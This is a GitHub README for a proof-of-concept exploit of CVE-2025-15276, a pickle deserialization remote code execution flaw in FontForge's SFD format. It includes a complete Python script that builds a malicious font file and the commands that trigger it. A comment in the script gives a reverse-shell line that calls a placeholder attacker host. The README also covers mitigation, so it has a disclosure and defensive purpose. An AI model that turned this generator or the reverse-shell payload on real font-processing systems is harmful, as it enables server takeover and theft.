Skip to content

ahmedreda38/CVE-2025-15276-poc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 

Repository files navigation

CVE-2025-15276: FontForge SFD PickledData Insecure Deserialization (RCE)

Disclaimer

This Proof of Concept (PoC) is for educational purposes and security auditing only. The author is not responsible for any misuse of this information. Unauthorized access to computer systems is illegal. Always obtain explicit permission before performing security testing on any system.


Vulnerability Overview

CVE-2025-15276 is a critical Remote Code Execution (RCE) vulnerability in FontForge (versions up to and including 20230101). The flaw exists in the parsing of the Spline Font Database (.sfd) format, specifically within the PickledData field.

Technical Detail

FontForge's SFD format allows for the storage of persistent Python dictionaries using the PickledData keyword. When a font is loaded, FontForge extracts this string and passes it directly to Python's pickle.loads() function (or an equivalent internal deserialization routine) without any sanitization or sandboxing.

Because the Python pickle module is inherently insecure and allows for arbitrary object reconstruction, an attacker can use the __reduce__ method to execute arbitrary system commands with the privileges of the user running FontForge.


Reproduction Steps

1. Requirements

  • Vulnerable FontForge: Version 20230101 or earlier.
  • Python 3.x: To generate the malicious payload.

2. Generate the Malicious SFD File

Use the following Python script (gen_poc.py) to create an exploit.sfd file. This PoC is configured to create a file in /tmp/pwned as a safe indicator of compromise (IoC).

import pickle
import os

# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully.")

3. Trigger the Vulnerability

The vulnerability can be triggered by simply opening the file with FontForge.

Option A: Standard GUI/CLI Load

fontforge exploit.sfd

Option B: Python Scripting Interface (Common in automated pipelines)

fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. Verification

Check if the command was executed:

ls -l /tmp/pwned

Impact in Automated Environments

This vulnerability is particularly dangerous in font processing pipelines (e.g., web-based font converters or automated validation scripts) that use FontForge on the backend to process user-uploaded files. If the backend script calls fontforge.open() on an untrusted .sfd file, the attacker gains full control over the processing server.


Mitigation

  1. Update FontForge: Upgrade to the latest version (v78.1.1 or later), where these insecure deserialization paths have been patched or restricted.
  2. Sanitize Input: If you are building tools using the FontForge API, strictly validate the file format before processing and never allow the processing of .sfd files from untrusted sources.
  3. Sandboxing: Run font processing tasks inside a low-privileged container (e.g., Docker) or a restricted sandbox to limit the impact of a potential compromise.

References

About

Proof of concept for CVE-2025-15276 - FontForge SFD File Parsing Deserialization of Untrusted Data Remote Code Execution Vulnerability

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages